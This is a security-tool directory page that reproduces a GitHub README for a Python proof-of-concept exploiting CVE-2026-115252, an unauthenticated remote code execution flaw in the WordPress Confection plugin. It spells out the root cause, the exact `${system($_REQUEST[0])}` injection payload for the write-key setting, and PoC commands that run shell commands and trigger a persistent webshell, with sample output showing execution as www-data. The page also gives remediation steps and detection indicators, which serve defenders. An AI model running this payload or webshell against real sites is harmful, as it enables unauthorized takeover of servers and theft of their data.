Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/evenomn/cve-2026-115252
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload DevelopmentRemote Access Trojan
GitHubevenomn/cve-2026-115252

CVE-2026-115252

Python PoC for CVE-2026-115252: unauthenticated RCE in the WordPress Confection plugin via unsanitized write key, with fingerprint check, single-request exploit and webshell trigger.

저장소 보기
15일 전아직 검토되지 않음
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-115252 — WordPress Confection Plugin ≤ 0.4.7 Unauthenticated Remote Code Execution

CVSS 3.1: 10.0 CRITICAL AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H · CWE-94, CWE-862

Affected Scope

PluginConfection (WordPress "Cable" plugin, slug: confection)
Versions0.4.0 – 0.4.7 (all releases; no patch — the plugin was closed and removed from WordPress.org on 2026-10-23)
Exploitation conditionsThe plugin is active (the default configuration is vulnerable); the plugin directory is writable by the web server user (satisfied by default for plugins installed through the WP admin)

Root Cause Analysis (Simplified)

  1. ConfectionWPOptions::save_options() is hooked onto the admin_init hook (inc/options.php), and when saving settings it does not check capabilities and does not verify a nonce — it only requires $_GET['page']=confection-options-page and a non-empty POST. However, WordPress also triggers admin_init in wp-admin/admin-ajax.php for unauthenticated users, so the settings-save endpoint can be accessed without authorization.
  2. The Write Key setting is stored with zero filtering (sanitize='text' = passed through verbatim).
  3. update_bridge_file() concatenates this value into the bridge-original.php template → $write_key = "<攻击者输入>";, and writes it to disk as a directly accessible PHP file: /wp-content/plugins/confection/<随机20字符>.php.
  4. WordPress applies magic quotes to all requests, so the raw " arrives already escaped (\") and cannot directly escape the double-quoted string. However, addslashes() does not escape $, and in PHP double-quoted strings, ${expr} interpolation evaluates the expression first (the side effect of the function call is code execution), then uses the return value as the variable name — the payload does not need a single quote:
confection_write_key = a${system($_REQUEST[0])}b
     → 落盘文件行: $write_key = "a${system($_REQUEST[0])}b";
     → 之后任意请求携带 ?0=<命令> 即执行

A single request completes the full exploitation: after admin_init poisons the file, the action=confection_send_data in the same request (the nopriv AJAX handler registered by inc/ajax.php) includes the just-poisoned file — no need to know the random filename in advance. After one injection, the poisoned file becomes a persistent webshell (triggered with --file).

Note: PHP 8.2+ prints a deprecation warning for ${expr} interpolation, which does not affect execution; PHP 7.x executes silently.

Usage

Python 3, standard library only.

# 指纹检测(非破坏性)
python3 poc.py --url http://TARGET --check

# 未授权 RCE(单请求:注入 + 执行)
python3 poc.py --url http://TARGET --exec 'id'

# 触发已毒化的 cable 文件(持久化 webshell)
python3 poc.py --url http://TARGET --file aBcDeFgHiJkLmNoPqRsT.php --exec 'uname -a'

# 去毒化:用良性 Write Key 覆盖 payload
python3 poc.py --url http://TARGET --restore ORIGINAL-KEY

Sample output:

$ python3 poc.py --url http://TARGET --exec 'id'
[*] POST admin-ajax.php?page=confection-options-page -> HTTP 200
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Remediation Recommendations

  • Completely uninstall the plugin (no patch), and delete all generated wp-content/plugins/confection/*.php cable files — they may already contain injected code
  • Temporary WAF mitigation: block requests carrying page=confection-options-page on admin-ajax.php
  • Detection indicators: access records from unauthenticated sources to admin-ajax.php/admin-post.php carrying page=confection-options-page; historical data where the confection_write_key value contains ${

Disclaimer

For authorized security testing and defensive research only (self-hosted labs, authorized testing scope, or explicit permission obtained). The author assumes no responsibility for misuse.

References

  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-115252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-115252
  • WPScan advisory (PoC embargo until 2027-02-04): https://wpscan.com/vulnerability/aebe20c3-bc02-4082-bda8-bbaa01550925/

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    991
  • 2

    wifit3

    derv82/wifit3

    Wifite지만 USB 전용 및 크로스 플랫폼.

    788
  • 3

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    538
  • 4

    SafeLine

    chaitin/safeline

    악성 HTTP 트래픽을 필터링하고 SQL 인젝션, XSS, 봇 공격을 차단하며, 속도 제한 및 동적 HTML/JS 암호화를 제공하는 자체 호스팅 WAF 및 리버스 프록시입니다.

    464
  • 5

    mcp-reverse

    1llu50ry/mcp-reverse

    Ghidra, IDA, x64dbg, Frida 및 기타 56개 백엔드를 집계하고 네이티브 바이너리 파서와 4,200개 스킬 지식 베이스를 갖춘 180개 이상의 리버스 엔지니어링 도구를 노출하는 MCP 서버입니다.

    373
  • 6

    jumpserver

    jumpserver/jumpserver

    JumpServer는 오픈소스 권한 접근 관리(PAM) 플랫폼으로, DevOps 및 IT 팀이 웹 브라우저를 통해 SSH, RDP, Kubernetes, 데이터베이스 및 RemoteApp 엔드포인트에 주문형 보안 액세스를 제공합니다.

    371

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
도구 다운로드